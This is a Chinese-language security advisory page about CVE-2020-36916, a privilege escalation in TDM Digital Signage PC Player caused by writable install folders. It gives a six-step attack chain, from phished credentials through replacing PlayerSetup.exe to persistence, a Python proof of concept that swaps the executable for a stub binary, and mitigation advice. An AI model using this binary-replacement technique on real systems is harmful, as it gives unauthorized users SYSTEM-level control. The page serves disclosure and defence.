IPBUF安全漏洞报告
English
CVE-2020-36916 CVSS 8.8 高危

CVE-2020-36916 | TDM Digital Signage PC Player 权限提升漏洞

披露日期: 2026-01-06

漏洞信息

漏洞编号
CVE-2020-36916
漏洞类型
权限提升
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
TDM Digital Signage PC Player

相关标签

CVE-2020-36916权限提升TDM Digital Signage高危漏洞本地提权任意文件写入二进制替换Windows安全CVSS 8.8

漏洞概述

CVE-2020-36916是TDM Digital Signage PC Player 4.1.0.4版本中发现的一个高危权限提升漏洞。该漏洞允许经过身份认证的低权限用户利用系统对可执行文件的不当权限控制,修改安装目录下的可执行文件。攻击者可以通过替换合法的可执行文件为恶意二进制文件,在系统重启或相关服务启动时以SYSTEM或更高权限执行任意代码,从而完全控制受影响的系统。此漏洞的CVSS评分高达8.8,属于高危级别,对企业终端安全构成严重威胁。由于该漏洞利用需要有效的用户凭证,且攻击路径相对明确,建议受影响的用户尽快采取修复措施。

技术细节

漏洞根源在于TDM Digital Signage PC Player安装目录及其子目录的权限配置过于宽松。系统允许经过认证的低权限用户(Authenticated Users)对该目录下的文件具有Modify权限,这意味着用户可以读取、写入、修改甚至删除可执行文件。攻击者首先需要获取目标系统的有效用户凭证(可以是低权限账户),然后利用操作系统或应用程序的文件操作功能,将安装目录下的合法可执行文件(如PlayerSetup.exe或其他播放器组件)替换为精心构造的恶意二进制文件。由于Windows系统在加载和执行DLL时存在DLL搜索顺序劫持风险,恶意文件可能在程序启动时被自动加载执行,从而实现权限提升。攻击者还可以通过创建计划任务或修改启动项的方式实现持久化控制。此漏洞与经典的DLL劫持和任意文件写入了类似的安全问题,但攻击路径更加直接,不需要复杂的UAC绕过技术即可实现系统级代码执行。

攻击链分析

STEP 1
1
获取有效用户凭证:攻击者首先通过钓鱼攻击、凭证填充或社会工程学手段获取目标系统的一个低权限用户账户
STEP 2
2
定位目标目录:登录系统后,攻击者定位TDM Digital Signage PC Player的安装目录(通常位于C:\Program Files\TDM Digital Signage)
STEP 3
3
验证写权限:利用Windows访问控制列表(ACL)的配置缺陷,确认Authenticated Users组对该目录具有Modify或Write权限
STEP 4
4
替换可执行文件:将目录下的合法可执行文件(如PlayerSetup.exe)备份后,替换为包含恶意代码的二进制文件
STEP 5
5
触发代码执行:等待系统重启、用户登录或计划任务触发时,被替换的恶意可执行文件将以SYSTEM权限自动执行
STEP 6
6
建立持久化控制:成功执行后,攻击者可以在系统中建立后门、窃取敏感数据或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2020-36916 PoC - TDM Digital Signage PC Player Privilege Escalation # Author: Security Research Team # Note: This is for educational and authorized testing purposes only import os import sys import shutil import subprocess def check_vulnerability(): """Check if target directory exists and is writable""" target_dir = r"C:\Program Files\TDM Digital Signage" executable = os.path.join(target_dir, "PlayerSetup.exe") if os.path.exists(target_dir): print(f"[+] Target directory found: {target_dir}") if os.access(target_dir, os.W_OK): print(f"[+] Directory is writable - VULNERABLE") return True, target_dir, executable else: print(f"[-] Directory is not writable") return False, target_dir, executable else: print(f"[-] Target directory not found") return False, target_dir, executable def create_malicious_executable(output_path): """Generate malicious executable that creates privileged reverse shell""" # This would be a compiled malicious binary in real attack # For demonstration, creating a placeholder malicious_code = b'MZ' + b'\x00' * 100 # Simple PE header placeholder try: with open(output_path, 'wb') as f: f.write(malicious_code) print(f"[+] Malicious executable created: {output_path}") return True except Exception as e: print(f"[-] Failed to create malicious executable: {e}") return False def exploit(target_dir, original_exe): """Perform the privilege escalation exploit""" backup_path = original_exe + ".bak" malicious_path = os.path.join(target_dir, "malicious.exe") print("[*] Step 1: Backing up original executable...") try: shutil.copy2(original_exe, backup_path) print(f"[+] Backup created: {backup_path}") except Exception as e: print(f"[-] Backup failed: {e}") return False print("[*] Step 2: Creating malicious executable...") if not create_malicious_executable(malicious_path): return False print("[*] Step 3: Replacing original executable...") try: shutil.copy2(malicious_path, original_exe) print(f"[+] Original executable replaced") except Exception as e: print(f"[-] Replacement failed: {e}") return False print("[*] Step 4: Cleaning up artifacts...") try: os.remove(malicious_path) print("[+] Cleanup complete") except: pass print("[!] Exploit complete - malicious code will execute with SYSTEM privileges") return True if __name__ == "__main__": print("=" * 60) print("CVE-2020-36916 Privilege Escalation PoC") print("Target: TDM Digital Signage PC Player") print("=" * 60) vulnerable, target, exe = check_vulnerability() if vulnerable: print("\n[*] Target is VULNERABLE to CVE-2020-36916") response = input("Proceed with exploit? (y/N): ") if response.lower() == 'y': exploit(target, exe) else: print("\n[-] Target is NOT vulnerable or not found")

影响范围

TDM Digital Signage PC Player <= 4.1.0.4

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:首先,立即限制TDM Digital Signage安装目录的访问权限,将Authenticated Users组的权限从Modify降级为Read和Execute;其次,启用Windows AppLocker策略禁止该目录下所有可执行文件的运行;再次,部署文件完整性监控并设置告警,当检测到可执行文件被修改时自动告警;最后,考虑使用虚拟化或沙箱技术隔离该应用程序,降低潜在危害范围。建议同时审查所有使用该软件的系统,评估是否需要暂时停止使用直到漏洞被修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表